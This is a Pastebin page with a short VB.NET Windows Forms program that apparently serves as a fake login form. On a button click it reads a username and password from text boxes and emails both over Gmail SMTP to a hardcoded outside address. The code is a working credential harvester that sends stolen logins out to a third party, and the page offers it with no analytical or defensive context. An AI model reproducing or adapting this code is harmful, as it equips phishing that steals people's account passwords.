Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("email", "password")
- 'using gmail
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("email")
- mail.To.Add("nukethis2011@gmail.com")
- mail.Subject = "Username: " & TextBox1.Text
- mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox3.Text
- smtpServer.Send(mail)
- End Sub
- End Class
Add Comment
Please, Sign In to add comment